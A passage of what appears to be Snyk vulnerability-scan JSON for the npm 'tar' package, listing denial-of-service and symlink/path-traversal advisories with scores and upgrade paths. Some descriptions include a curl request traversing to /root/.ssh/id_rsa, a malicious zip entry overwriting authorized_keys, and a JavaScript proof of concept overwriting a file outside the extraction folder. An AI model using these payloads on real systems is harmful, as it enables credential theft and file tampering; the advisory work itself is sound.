Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", 